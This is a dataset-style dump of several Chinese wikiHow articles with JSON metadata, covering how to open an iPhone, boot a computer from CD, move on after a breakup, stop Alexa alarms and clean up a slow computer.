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撬开手机盖。\\n螺丝取下来以后，你就可以用一把小型的一字螺丝刀将手机盖撬开。将螺丝刀插入数据线插口的上方，也就是你刚才取下螺丝钉的地方，然后轻轻撬动，让手机盖自己弹起来。\\n另外，你也可以用一个吸盘吸住手机屏幕，然后慢慢往上提，直到屏幕与手机盖分离。这种方法对手机的损伤要比用螺丝刀撬来得小。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/2\\\\/2e\\\\/Open-an-iPhone-Step-5Bullet1.jpg\\\\/v4-460px-Open-an-iPhone-Step-5Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/2e\\\\/Open-an-iPhone-Step-5Bullet1.jpg\\\\/v4-728px-Open-an-iPhone-Step-5Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div 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重新装好iPhone。\\n修理完成后你就可以将以上步骤倒过来，一步一步把手机重新装好，要记得把所有的带状电缆都复位。\\n小提示\\n在接触手机内部任何电子元件前，一定要先除去身上的静电，否则，里面的元件可能受到损坏。你可以通过触摸金属物件来去除静电。\\n警告\\n拆iPhone一定要特别谨慎，因为里面有许多既昂贵又敏感的元件，而且都非常易损。\\n撬开手机盖时也要特别当心。用力过猛可能会划伤或掰裂手机盖，甚至损坏手机运行不可或缺的重要元件。\\n自行拆开iPhone会导致保修失效。\\n\", \"简要回答\": \"想对新买的iPhone 6内部一探究竟吗？想自己给iPhone换电池吗？那么你就需要一些小工具来把iPhone拆开来。不过，自己拆开iPhone会导致保修失效，所以在自己捣鼓之前，一定要先看看是不是能获取苹果的维修服务。以下指南将教你如何在短短几分钟之内拆开iPhone。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"将手机关机。\", \"描述\": \"打开手机盖之前，一定要把手机关机，而不能只将屏幕关闭。长按电源按钮，出现关机滑块后，滑动关机。\\n在未关机的情况下拆开iPhone会导致手机出现故障。\"}, {\"编号\": 2, \"标题\": \"移除SIM卡。\", \"描述\": \"为了防止在拆卸过程中损坏SIM卡，你就要先将其移除。移除SIM卡的方法根据iPhone型号的不同而不同，不过一般来说，只要用一枚曲别针捅一下SIM卡旁边的孔。\"}, {\"编号\": 3, \"标题\": \"除静电。\", \"描述\": \"在打开手机前，一定要确保自己身上没有静电，否则可能损坏里面的元件。抚摸其他金属物件，你就能除掉身上的静电。\"}, {\"编号\": 4, \"标题\": \"取下螺丝。\", \"描述\": \"iPhone手机底下有两枚螺丝钉需要取下来，这两枚螺丝钉分别位于数据线插口的两边。\\n早期的iPhone及iPhone 3GS上的螺丝需要用十字螺丝刀（#00）来拧，而iPhone 4和iPhone 6则需要用到五角螺丝刀。\\niPhone上的螺丝非常小，所以一定更要注意保管，防止遗失。\"}, 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class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n移除带状电缆时要特别小心，一旦扯坏，你的iPhone就彻底报废了。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/7\\\\/74\\\\/Open-an-iPhone-Step-6Bullet2.jpg\\\\/v4-460px-Open-an-iPhone-Step-6Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/7\\\\/74\\\\/Open-an-iPhone-Step-6Bullet2.jpg\\\\/v4-728px-Open-an-iPhone-Step-6Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 7, \"标题\": \"移除屏幕。\", \"描述\": \"移除带状电缆后，你就可以卸下屏幕了，不过屏幕要好好安放起来，避免损坏。\"}, {\"编号\": 8, \"标题\": \"取下主板。\", \"描述\": \"如果你需要取下主板，那么首先要移除金属板上的螺丝钉。有些螺丝钉上贴有贴纸。取下螺丝钉后，就可以摘下主板了。\"}, {\"编号\": 9, \"标题\": \"移除电池。\", \"描述\": \"型号较旧的iPhone里，电池是粘贴在手机底板上的，你可以用一把一字螺丝刀沿着周边撬动，然后轻轻将其从底板上剥离下来。移除过程中，一定要小心别刺伤电池。\\n型号较新的iPhone中，电池是可拆卸的，只要取下固定电池的螺丝，你就能把电池拆下来了。\"}, {\"编号\": 10, \"标题\": \"重新装好iPhone。\", \"描述\": \"修理完成后你就可以将以上步骤倒过来，一步一步把手机重新装好，要记得把所有的带状电缆都复位。\"}], \"小提示\": [\"在接触手机内部任何电子元件前，一定要先除去身上的静电，否则，里面的元件可能受到损坏。你可以通过触摸金属物件来去除静电。\\n\"], \"注意事项\": [\"拆iPhone一定要特别谨慎，因为里面有许多既昂贵又敏感的元件，而且都非常易损。\\n\", \"撬开手机盖时也要特别当心。用力过猛可能会划伤或掰裂手机盖，甚至损坏手机运行不可或缺的重要元件。\\n\", \"自行拆开iPhone会导致保修失效。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,694 | 如何从CD中启动计算机 | 1. 适用非Mac OS X 系统
1-1. 插入你的光盘。
光盘必须是windows系统安装检测的启动盘
1-2. 重启计算机。
在你插入光盘前，你要确认CD/DVD驱动是默认的启动设备。
显示器上出现制造上图标时，图标下方或是旁边或显示相应选择菜单。你需要点击相应按键才能进入BIOS安装菜单，不同的电脑制造商按键不同，常见的有F2,F10,F12, DEL。
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进入BIOS后，选择"BOOT"子菜单。由于BIOS的菜单排列可能因品牌不尽相同，你可能需要选择与BOOT（启动）最接近的那个菜单即可。
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进入BOOT后，用上下按键将"1st device"改成"CD/DVD"。不同BIOS可能有不同的表示方法，有的显示的是CD/DVD驱动的厂商名，有的显示的是"Optical Drive"，有的直接显示"CD/DVD"。
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这样你的默认启动设备更改为CD/DVD，之后重启电脑即可。
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1-3. 从CD中读取数据。
当显示器画面出现制造商的logo时，按下任意键系统就读取光盘数据开机，部分光盘会自动进行读取进程。
2. 适用Mac OS X系统
2-1. 插入光盘。
你的光盘必须是Mac OS X系统的装机光盘，然后重启电脑。
2-2. 长按C键或option键。
在你听到重启声后，长按C键或是option键。长按option键后，会出现菜单让你选择启动读取方式，选择CD/DVD驱动器即可。长按C键则会直接跳过这个选择界面直接读取CD/DVD数据重新启动计算机。
这会花些时间。你需要等到菜单出现或重启程序自动开始再放手。
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一般来说，从CD启动数据明显慢于硬盘。所以开机装载过程缓慢实属正常。
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14,695 | 如何重新开始 | 1. 了解你的痛苦
1-1. 悲伤的五个阶段。
当我们失去了一件重要的东西时，悲伤是一种很正常的反应。心理学家认为，人们经历悲伤的阶段和情绪反应的变化都很相似。了解了这些知识，你就知道你的感受完全是正常、健康的。这些阶段的持续时间因人而异，某些阶段甚至不会出现。要知道，每个人都是不同的。
否认。起初，要相信你的爱情已经结束了这个事实可能会很艰难。尤其是如果你们已经在一起很久了，突然分开，你会觉得很不自在、不真实。你可能会觉得对方并没有真的离开，只是需要时间冷静一下。这是一种很正常的情绪反应，但是你要承认你的爱情真的结束了，否认这一点只会让事情变得更艰难。
愤怒。这种情绪一般会表现为“为什么是我？”你会因为各种原因去怨恨这段感情的终结。你会责怪你自己、你的伴侣、上帝、家人、朋友、工作或随便什么东西。但是你最好不要表现出来，大多数时候，大家都有错，或者根本就没什么错。
讨价还价。在这个阶段，人们可能会想要复合。你会求对方回心转意，承诺你会改掉导致你们分手的那个缺点。但是，这很可能不是个好主意。即使你们能重归于好，也要经历很多严肃的反思和积极的改变。这个阶段一般会随着一方意识到破镜已经无法重圆而终结。
消沉。这一般是时间最长的一个阶段。你会觉得很悲伤，感觉生活中失去了希望。你会觉得自己再也不会爱了，生活也失去了意义。这些情绪都很正常，但是记住，想要自杀的念头是不正常的。如果你想到了自杀，要立刻去寻求帮助。和其他悲伤的阶段一样，这个阶段也会结束，你会再次开心起来。
接受。你会因为某个偶然的机会从消沉阶段转变为接受。你会开始理解，感情的终结并不是世界末日。你会觉得这件事没什么大不了，准备好去开始新的生活。
1-2. 悲伤。
悲伤很重要，不要假装一切都很好。像这样把情绪隐藏起来并不健康，可能会导致后续的问题。你应该允许自己去悲伤。哭吧，如果你想哭的话。在不好的事情发生的时候，这是一种很正常、健康的反应。
1-3. 找一些时间独处。
在这个阶段，找时间独处很重要。虽然与他人相处很重要，能帮助你疗伤，但是你也需要时间来独处。用这个时间来满足你自己的需求。做一些让你开心的事情，想一想在这个阶段的生活中，你想要得到些什么。和其他人在一起会让你分心，虽然这能帮你调整自己，但是如果太多了，就会影响你照顾好自己。
1-4. 有这么一点，在分手以后，尤其是爱情长跑结束以后，你会觉得你是在浪费时间，整件事都毫无意义。
其实不是这样的，你要记住这一点。不好的事情可以让我们更了解自己，我们想从生活中得到什么，我们最在乎什么，以及如何更好地与别人相处。虽然你的爱情已经结束了，但是它无疑是一段无价的人生经历。如果不是的话，你就不会因为它的终结而这么难过了。
1-5. 记住你的前任。
不要假装你的前任从来不存在。和隐藏情绪一样，这是一种不健康的反应。这个人在你生活中扮演了一个很重要的角色，这个角色需要被记住。虽然你们在一起的时间已经结束了，但是记住这段时光，日后你会觉得更美好。
虽然很多人会通过想一些前任的缺点来让自己感觉更好，但是想他/她的优点也很重要。过分关注那些不好的事情，你会觉得苦闷，可能会让你对在一起时的美好时光感到后悔。从长远上来说，这些“记忆毒药”只会伤害你。你要记住这段感情中的美好，把前任身上你喜欢的一些特点和你们一起度过的美好时光写下来。
1-6. 反思你们的感情。
失败的感情，就像生活中任何一件结果不好的事情一样，都是一次很好的学习机会。反思你们的感情，无论是好事还是坏事，你可以对你的生活做出一些积极的改变。通过从错误中吸取教训，想想你希望从自己和别人身上得到什么，这能让你在今后的感情生活中表现得更好。
想一想这段感情中你的伴侣做的失败的事情，也要想一想他/她对你的好。在未来的感情中，你想保持哪些特质，又想避免哪些？也许你的前任很懒惰，最开始这也许没什么大不了，但是后来越来越严重。在你的下一段感情里，你就要避免这一点，即使最开始这不算什么问题。
知道你自己的错误。在感情中，你可能也有处理得不好的事情。想一想这些事情是什么，这些琐事对你和别人的相处造成了哪些负面影响。这些问题也会影响到友谊和亲情。想一想你要怎样改正自己的这些错误。例如，也许你会发现，你忘了考虑别人的感受。这个错误需要改正，你才能和周围的人关系处得更好。
爱自己。也要记得想一想你身上的有点。即使你犯了错误，你还是个好人。你生活中那些不好的经历不应该让你否认自己对世界有一些美好的贡献。把你身上自己和别人欣赏的美好品质列一个清单。把这些优点尽可能地发挥出来，你就会感觉更好。
2. 回到正常的生活
2-1. 发现自己。
通过对自己和对爱情的反思，你会学到很多做人的道理。这些道理能让你更了解自己的性格和力量，以及对生活的期待。你会发现你在这段感情里牺牲的东西，对你来说比当时更重要了。
你会发现过去你因为时间限制或者对方的喜好而放弃的那些兴趣爱好，实际上对你很重要；你因为相思病而放在一边的工作其实很有目的性；你因为爱情而牺牲的友谊远远超出了你的预期。这次新的开始恰好给了你一个机会，让你怀着前所未有的态度去发掘这些对你很重要的事情。
2-2. 原谅。
在疗伤的过程中，原谅是很重要的一部分。原谅你的前任对你的伤害，也原谅自己的失败。记住，责怪别人和自己并不能解决问题，只会让你感觉更加苦恼，无法幸福起来。要想重新开始，你必须学会原谅。
要开始去原谅，你要明确地知道你为什么会生气。知道了你受伤的真实原因，你才能更好地处理情绪，确定你需要原谅的对象。
表达情绪。把你的坏情绪写下来，这会帮你消除愤怒。然后，向你的家人和朋友宣泄一番，这能帮你更好地了解自己的感受，给自己一个全新的视角。最后，考虑一下是否要告诉那个人你有多难过。
寻求同情。要知道每个人都会犯错，伤害你的那个人也是一样，更何况你自己也会犯错。甚至伤害你的那个人只是在做他/她认为最正确、最好的事情。尽量去理解对方行为的初衷，这能帮你原谅对方。
2-3. 大笑。
大笑的时候，身体会释放内啡肽，它会调节你的情绪，让你开心。它也会帮你找到生活中的乐趣，让你重新变得快乐。在糟糕的环境下也要保持幽默感，这能让你不那么消极地渡过难关。大笑，或者找机会让自己大笑，这能帮你加速疗伤。
多和能让你大笑的朋友在一起。和那些能让你大笑，并且能为你提供一些积极的体验的朋友们在一起。不要和那些会让你伤心，或者持续传播坏情绪的人在一起，他们会阻碍你疗伤的过程。
看喜剧。看搞笑的电视节目，或者去附近的俱乐部看喜剧表演。你可以自己去，也可以和别人一起。喜剧会让你从坏情绪里抽身出来，让你的大脑重新变得快乐。
2-4. 欣赏你的独立性。
当我们谈恋爱的时候，我们会很依赖对方。你会失去很多独立性，导致你不能去做你喜欢的事情。
虽然有时候有个人依赖是件好事，但是独立也很不错。你随时可以自由地去做你想做的事情，不需要经过别人的允许，也不需要担心别人会怎么想。
举一些例子：去看一场你的前任不喜欢的电影；穿一件你喜欢，但是你的前任觉得不好看的衣服；和你前任不喜欢的朋友一起出去玩……还有那些个人活动，例如看书，在你们约会的时候你可能没有时间看。
2-5. 从事新的活动。
让生活回到正轨的最好的方式就是去“生活”。你还活着，你周围的世界很美好。每个人都有一直想做的事情，这是个去尝试新事物、感受世界美好的大好机会。
运动。运动能让身体释放内啡肽，就像大笑一样。通过运动，你会自然地变得更开心、更健康。很多人都觉得在谈恋爱的时候没有时间运动。健康、健美的身体会让你整个人焕然一新，这种感觉能帮你放下那些痛苦的感觉和记忆，美好的未来正等待着你。
志愿服务。让你开心起来最好的方式之一就是去帮助别人。负责任、帮助别人的过程会让你觉得很有目的感，这种时候你可能恰恰缺少目的感。你会发现每个人都会遇到问题，有些比你的严重很多。这会让你感到欣慰，教会你要珍惜世界上美好的东西和你周围的人们。如果你不想花太多时间，可以去附近的流动厨房做志愿者。如果你想作更大的贡献，可以试试国际仁人家园。
2-6. 旅行。
旅行会让你觉得自豪，还会给你带来或好或坏的经历。去一个陌生的环境，去一个语言不通的地方。这样的经历会让你放下前任，发现自己仍然可以去感受生活中振奋人心的事情，并且能把这些经历和别人一起分享。
3. 和别人在一起
3-1. 和朋友在一起。
花时间和别人在一起很重要，这能帮你记住别人内心的善良，与人交际并不总会带来伤痛。和朋友在一起能让你分心，帮你更好地处理痛苦。他们也能帮你发现自己的优点，给你带来一些美好的经历。
和朋友一起去参加活动，这会让你想到一些积极而不是消极的情绪和经历。去看电影，去参加派对，或者试试更刺激的，比如徒步旅行。
趁这个机会和那些许久不见的朋友聚聚。我们谈恋爱时，有时就会忽略那些很久不联系的朋友，想一想过去的你们是多么快乐。
3-2. 认识新的朋友。
交新朋友、加入新的社交圈总是件好事情。谁不想让周围的朋友多一些呢？出去认识一些新朋友，可以通过你现在的朋友去认识，也可以通过学校、俱乐部、酒吧这样的社交圈。这会让你的生活更新鲜，帮你忘掉最近的痛苦。
尝试再次开始约会。一旦你放下了分手的痛苦，觉得是时候重新开始了，你可能会想要随意地约会。认识一些新朋友，去约会几次。这会让你知道，有更多的人在等着你。最好不要急于开始一段新的感情，因为你可能会发现自己处于不健康的反弹关系中。慢慢来，先随意地约会几次。你并不是在找新的伴侣，只是想寻求新鲜的、积极的经历。随着时间推移，你会找到那个对的人，不知不觉地你就会开始新的感情。利用上面提到的处理和分析感情的技巧，你可以准备好开始一段更成功、更幸福的感情了！
| {
"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 了解你的痛苦\\n1-1. 悲伤的五个阶段。\\n当我们失去了一件重要的东西时，悲伤是一种很正常的反应。心理学家认为，人们经历悲伤的阶段和情绪反应的变化都很相似。了解了这些知识，你就知道你的感受完全是正常、健康的。这些阶段的持续时间因人而异，某些阶段甚至不会出现。要知道，每个人都是不同的。\\n否认。起初，要相信你的爱情已经结束了这个事实可能会很艰难。尤其是如果你们已经在一起很久了，突然分开，你会觉得很不自在、不真实。你可能会觉得对方并没有真的离开，只是需要时间冷静一下。这是一种很正常的情绪反应，但是你要承认你的爱情真的结束了，否认这一点只会让事情变得更艰难。\\n愤怒。这种情绪一般会表现为“为什么是我？”你会因为各种原因去怨恨这段感情的终结。你会责怪你自己、你的伴侣、上帝、家人、朋友、工作或随便什么东西。但是你最好不要表现出来，大多数时候，大家都有错，或者根本就没什么错。\\n讨价还价。在这个阶段，人们可能会想要复合。你会求对方回心转意，承诺你会改掉导致你们分手的那个缺点。但是，这很可能不是个好主意。即使你们能重归于好，也要经历很多严肃的反思和积极的改变。这个阶段一般会随着一方意识到破镜已经无法重圆而终结。\\n消沉。这一般是时间最长的一个阶段。你会觉得很悲伤，感觉生活中失去了希望。你会觉得自己再也不会爱了，生活也失去了意义。这些情绪都很正常，但是记住，想要自杀的念头是不正常的。如果你想到了自杀，要立刻去寻求帮助。和其他悲伤的阶段一样，这个阶段也会结束，你会再次开心起来。\\n接受。你会因为某个偶然的机会从消沉阶段转变为接受。你会开始理解，感情的终结并不是世界末日。你会觉得这件事没什么大不了，准备好去开始新的生活。\\n1-2. 悲伤。\\n悲伤很重要，不要假装一切都很好。像这样把情绪隐藏起来并不健康，可能会导致后续的问题。你应该允许自己去悲伤。哭吧，如果你想哭的话。在不好的事情发生的时候，这是一种很正常、健康的反应。\\n1-3. 找一些时间独处。\\n在这个阶段，找时间独处很重要。虽然与他人相处很重要，能帮助你疗伤，但是你也需要时间来独处。用这个时间来满足你自己的需求。做一些让你开心的事情，想一想在这个阶段的生活中，你想要得到些什么。和其他人在一起会让你分心，虽然这能帮你调整自己，但是如果太多了，就会影响你照顾好自己。\\n1-4. 有这么一点，在分手以后，尤其是爱情长跑结束以后，你会觉得你是在浪费时间，整件事都毫无意义。\\n其实不是这样的，你要记住这一点。不好的事情可以让我们更了解自己，我们想从生活中得到什么，我们最在乎什么，以及如何更好地与别人相处。虽然你的爱情已经结束了，但是它无疑是一段无价的人生经历。如果不是的话，你就不会因为它的终结而这么难过了。\\n1-5. 记住你的前任。\\n不要假装你的前任从来不存在。和隐藏情绪一样，这是一种不健康的反应。这个人在你生活中扮演了一个很重要的角色，这个角色需要被记住。虽然你们在一起的时间已经结束了，但是记住这段时光，日后你会觉得更美好。\\n虽然很多人会通过想一些前任的缺点来让自己感觉更好，但是想他/她的优点也很重要。过分关注那些不好的事情，你会觉得苦闷，可能会让你对在一起时的美好时光感到后悔。从长远上来说，这些“记忆毒药”只会伤害你。你要记住这段感情中的美好，把前任身上你喜欢的一些特点和你们一起度过的美好时光写下来。\\n1-6. 反思你们的感情。\\n失败的感情，就像生活中任何一件结果不好的事情一样，都是一次很好的学习机会。反思你们的感情，无论是好事还是坏事，你可以对你的生活做出一些积极的改变。通过从错误中吸取教训，想想你希望从自己和别人身上得到什么，这能让你在今后的感情生活中表现得更好。\\n想一想这段感情中你的伴侣做的失败的事情，也要想一想他/她对你的好。在未来的感情中，你想保持哪些特质，又想避免哪些？也许你的前任很懒惰，最开始这也许没什么大不了，但是后来越来越严重。在你的下一段感情里，你就要避免这一点，即使最开始这不算什么问题。\\n知道你自己的错误。在感情中，你可能也有处理得不好的事情。想一想这些事情是什么，这些琐事对你和别人的相处造成了哪些负面影响。这些问题也会影响到友谊和亲情。想一想你要怎样改正自己的这些错误。例如，也许你会发现，你忘了考虑别人的感受。这个错误需要改正，你才能和周围的人关系处得更好。\\n爱自己。也要记得想一想你身上的有点。即使你犯了错误，你还是个好人。你生活中那些不好的经历不应该让你否认自己对世界有一些美好的贡献。把你身上自己和别人欣赏的美好品质列一个清单。把这些优点尽可能地发挥出来，你就会感觉更好。\\n2. 回到正常的生活\\n2-1. 发现自己。\\n通过对自己和对爱情的反思，你会学到很多做人的道理。这些道理能让你更了解自己的性格和力量，以及对生活的期待。你会发现你在这段感情里牺牲的东西，对你来说比当时更重要了。\\n你会发现过去你因为时间限制或者对方的喜好而放弃的那些兴趣爱好，实际上对你很重要；你因为相思病而放在一边的工作其实很有目的性；你因为爱情而牺牲的友谊远远超出了你的预期。这次新的开始恰好给了你一个机会，让你怀着前所未有的态度去发掘这些对你很重要的事情。\\n2-2. 原谅。\\n在疗伤的过程中，原谅是很重要的一部分。原谅你的前任对你的伤害，也原谅自己的失败。记住，责怪别人和自己并不能解决问题，只会让你感觉更加苦恼，无法幸福起来。要想重新开始，你必须学会原谅。\\n要开始去原谅，你要明确地知道你为什么会生气。知道了你受伤的真实原因，你才能更好地处理情绪，确定你需要原谅的对象。\\n表达情绪。把你的坏情绪写下来，这会帮你消除愤怒。然后，向你的家人和朋友宣泄一番，这能帮你更好地了解自己的感受，给自己一个全新的视角。最后，考虑一下是否要告诉那个人你有多难过。\\n寻求同情。要知道每个人都会犯错，伤害你的那个人也是一样，更何况你自己也会犯错。甚至伤害你的那个人只是在做他/她认为最正确、最好的事情。尽量去理解对方行为的初衷，这能帮你原谅对方。\\n2-3. 大笑。\\n大笑的时候，身体会释放内啡肽，它会调节你的情绪，让你开心。它也会帮你找到生活中的乐趣，让你重新变得快乐。在糟糕的环境下也要保持幽默感，这能让你不那么消极地渡过难关。大笑，或者找机会让自己大笑，这能帮你加速疗伤。\\n多和能让你大笑的朋友在一起。和那些能让你大笑，并且能为你提供一些积极的体验的朋友们在一起。不要和那些会让你伤心，或者持续传播坏情绪的人在一起，他们会阻碍你疗伤的过程。\\n看喜剧。看搞笑的电视节目，或者去附近的俱乐部看喜剧表演。你可以自己去，也可以和别人一起。喜剧会让你从坏情绪里抽身出来，让你的大脑重新变得快乐。\\n2-4. 欣赏你的独立性。\\n当我们谈恋爱的时候，我们会很依赖对方。你会失去很多独立性，导致你不能去做你喜欢的事情。\\n虽然有时候有个人依赖是件好事，但是独立也很不错。你随时可以自由地去做你想做的事情，不需要经过别人的允许，也不需要担心别人会怎么想。\\n举一些例子：去看一场你的前任不喜欢的电影；穿一件你喜欢，但是你的前任觉得不好看的衣服；和你前任不喜欢的朋友一起出去玩……还有那些个人活动，例如看书，在你们约会的时候你可能没有时间看。\\n2-5. 从事新的活动。\\n让生活回到正轨的最好的方式就是去“生活”。你还活着，你周围的世界很美好。每个人都有一直想做的事情，这是个去尝试新事物、感受世界美好的大好机会。\\n运动。运动能让身体释放内啡肽，就像大笑一样。通过运动，你会自然地变得更开心、更健康。很多人都觉得在谈恋爱的时候没有时间运动。健康、健美的身体会让你整个人焕然一新，这种感觉能帮你放下那些痛苦的感觉和记忆，美好的未来正等待着你。\\n志愿服务。让你开心起来最好的方式之一就是去帮助别人。负责任、帮助别人的过程会让你觉得很有目的感，这种时候你可能恰恰缺少目的感。你会发现每个人都会遇到问题，有些比你的严重很多。这会让你感到欣慰，教会你要珍惜世界上美好的东西和你周围的人们。如果你不想花太多时间，可以去附近的流动厨房做志愿者。如果你想作更大的贡献，可以试试国际仁人家园。\\n2-6. 旅行。\\n旅行会让你觉得自豪，还会给你带来或好或坏的经历。去一个陌生的环境，去一个语言不通的地方。这样的经历会让你放下前任，发现自己仍然可以去感受生活中振奋人心的事情，并且能把这些经历和别人一起分享。\\n3. 和别人在一起\\n3-1. 和朋友在一起。\\n花时间和别人在一起很重要，这能帮你记住别人内心的善良，与人交际并不总会带来伤痛。和朋友在一起能让你分心，帮你更好地处理痛苦。他们也能帮你发现自己的优点，给你带来一些美好的经历。\\n和朋友一起去参加活动，这会让你想到一些积极而不是消极的情绪和经历。去看电影，去参加派对，或者试试更刺激的，比如徒步旅行。\\n趁这个机会和那些许久不见的朋友聚聚。我们谈恋爱时，有时就会忽略那些很久不联系的朋友，想一想过去的你们是多么快乐。\\n3-2. 认识新的朋友。\\n交新朋友、加入新的社交圈总是件好事情。谁不想让周围的朋友多一些呢？出去认识一些新朋友，可以通过你现在的朋友去认识，也可以通过学校、俱乐部、酒吧这样的社交圈。这会让你的生活更新鲜，帮你忘掉最近的痛苦。\\n尝试再次开始约会。一旦你放下了分手的痛苦，觉得是时候重新开始了，你可能会想要随意地约会。认识一些新朋友，去约会几次。这会让你知道，有更多的人在等着你。最好不要急于开始一段新的感情，因为你可能会发现自己处于不健康的反弹关系中。慢慢来，先随意地约会几次。你并不是在找新的伴侣，只是想寻求新鲜的、积极的经历。随着时间推移，你会找到那个对的人，不知不觉地你就会开始新的感情。利用上面提到的处理和分析感情的技巧，你可以准备好开始一段更成功、更幸福的感情了！\\n\", \"简要回答\": \"在分手之后重新开始可能会很难。你已经非常依赖那个人了，所以失去了他/她的生活会很有挑战性。随着时间的推移，再用上下面这些方法，你可以重新开始，去做那些更好、更重要的事情，认识新的朋友，从中学习到一些东西。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"了解你的痛苦\", \"步骤\": [{\"编号\": 1, \"标题\": \"悲伤的五个阶段。\", \"描述\": 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14,696 | 如何用Alexa停止闹铃 | 1. 步骤
1-1. 说Alexa。
说出唤醒命令来唤醒Alexa，然后她就会开始听你的下一个命令。
默认的唤醒命令是“Alexa，”但如果你将它改为“Echo”、“Amazon”或其他命令，那就使用你之前设定的唤醒命令。
1-2. 让Alexa停止响铃。
说“Alexa，停止”来停止当前正在响铃的闹钟或计时器。除了“停止”，你还可以用下列命令：
取消
安静
停下
终止
别出声
结束
中止
住口
休息
中断
注意，说“小点声”是无法停止响铃的，这样只会调低一点音量。
1-3. 让Alexa关闭响铃。
说“Alexa，停止闹铃”，在闹铃响之前停止闹铃。如果你有多个开启的闹铃，Alexa会按照闹铃时间列出它们，你可以选择想要停止哪个闹铃。
这种方法也适用于计时器。你可以通过说出某个计时器的名称来停止它。例如，“Alexa，停止厨房计时器。”
1-4. 按下唤醒按钮。
它是设备顶部的按钮，上面有一个点。它也可以用来唤醒Alexa。按下唤醒按钮也会停止正在响铃的闹铃或定时器。
如果房间很吵，或者Alexa因为其他原因无法识别你的声音，这是最快的替代方法。
1-5. 使用Alexa应用程序管理闹铃、计时器和提醒。
你可以打开手机上的Alexa应用程序，管理所有开启的闹铃、计时器和提醒。管理闹铃的方法如下：
打开。
点击。
点击。
点击、或。
点击这个切换按钮就可以关掉闹铃。
选择一个计时器并点击。
选择一个提醒并点击。
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14,697 | 如何清理运行缓慢的电脑 | 1. 在Windows电脑清理磁盘
1-1. 打开“开始”菜单。
点击屏幕左下角的Windows标志。
1-2. 输入磁盘清理，在电脑上搜索“磁盘清理”程序。
这个实用工具会寻找并删除电脑上无用的文件。
1-3. 点击“开始”菜单顶端的磁盘清理。
它的图标是一个闪存盘图案。“磁盘清理”程序会在一个单独的窗口中打开。
如果还有其它窗口打开，需要点击在屏幕底部闪烁的“磁盘清理”程序图标再继续。
1-4. 点击清理系统文件。
这个选项就在“磁盘清理”窗口左下角。点击后，“磁盘清理”程序会寻找更多可以删除的文件。
1-5. 勾选这一页上面的所有复选框。
这一页的所有项目都能删除，以释放电脑上的空间。
你需要往下滚动，才能看完主窗口中所有可选的复选框。
1-6. 点击窗口底部的确定。
1-7. 出现提示时，点击删除文件。
“磁盘清理”程序会开始删除电脑上无用的文件，可能需要一段时间，请耐心等待。
1-8. 卸载无用的程序。
如果电脑上有不想再保留的应用或程序，删除它们也能释放一些空间，改善电脑的整体运行速度。
2. 在Mac电脑清理磁盘
2-1. 打开“苹果”菜单。
点击屏幕左上角的苹果标志，打开一个下拉菜单。
2-2. 点击关于本机。
它就在靠近下拉菜单顶端的位置。点击后会打开“关于本机”窗口。
2-3. 点击窗口顶端的储存空间选项卡。
2-4. 点击窗口右上方的管理。
这会打开一个显示各种储存选项的新窗口。
有的Mac版本可能需要改而点击。
2-5. 点击“优化储存空间”标题右边的优化按钮。
这会促使Mac电脑删除所有临时或无用的文件，并将你看过的电影和电视节目转移到iCloud。
2-6. 卸载无用的程序
如果电脑上有不想再保留的应用或程序，删除它们也能释放一些空间，改善电脑的整体运行速度。
3. 在Windows电脑清空回收站
3-1. 打开“回收站”。
双击“回收站”应用，图标是一个白色的垃圾桶，上面有一个蓝色的回收图标，应该可以在电脑桌面上找到。
3-2. 还原你不想删除的文件。
如果看到你想还原的文件，可以双击它，然后从出现的菜单中点击。
3-3. 点击窗口左上方的管理选项卡。
一个工具栏会出现在靠近窗口顶端的位置。
3-4. 点击工具栏左侧的清空回收站。
3-5. 出现提示时，点击是，以删除“回收站”里的所有文件。
4. 在Mac清空废纸篓
4-1. 打开“废纸篓”。
点击Mac电脑“程序坞”里面的“废纸篓”图标，打开“废纸篓”窗口。
4-2. 还原你不想删除的文件。
如果想把某个文件从“废纸篓”放回电脑，可以点击它不放，然后从“废纸篓”拖动到电脑桌面。
4-3. 点击“废纸篓”图标不放。
一秒后会弹出一个菜单。
4-4. 点击弹出菜单中的清空废纸篓。
4-5. 出现提示时，点击清空废纸篓，这会删除“废纸篓”中的所有文件。
5. 在Windows电脑调整运行中的程序和启动程序
5-1. 打开“开始”菜单。
点击屏幕左下角的Windows标志。
5-2. 输入任务管理器，在电脑上搜索“任务管理器”，以关闭拖慢电脑运行速度的程序。
5-3. 点击“开始”菜单顶端的任务管理器，打开“任务管理器”应用。
5-4. 点击“任务管理器”窗口左上方的进程选项卡。
5-5. 关闭程序。
如果发现有哪些内存占用率高的应用或程序现在不需要运行，可以点击它的名称，点击窗口右下角的。重复上述步骤，关闭所有不必要的应用或程序。
点击选项卡，将所有程序按照内存占用率排序，这样进行上述步骤会更方便。
5-6. 点击“任务管理器”窗口顶端的启动选项卡。
5-7. 检查所有启动程序。
这个列表中的所有程序会在开机时默认启动，可能拖慢电脑运行速度。
5-8. 禁用某个启动程序。
点击想要取消开机自动启动的程序，然后点击窗口右下方的。
如果右下方的按钮显示，说明有关程序已经被禁用。
必要时重复上述过程，关掉所有不必要的启动程序。
完成后就能关闭“任务管理器”。你的设置将被保存。
6. 在Mac电脑调整运行中的程序和启动程序
6-1. 打开“聚焦”。
点击屏幕右上角的放大镜图案。
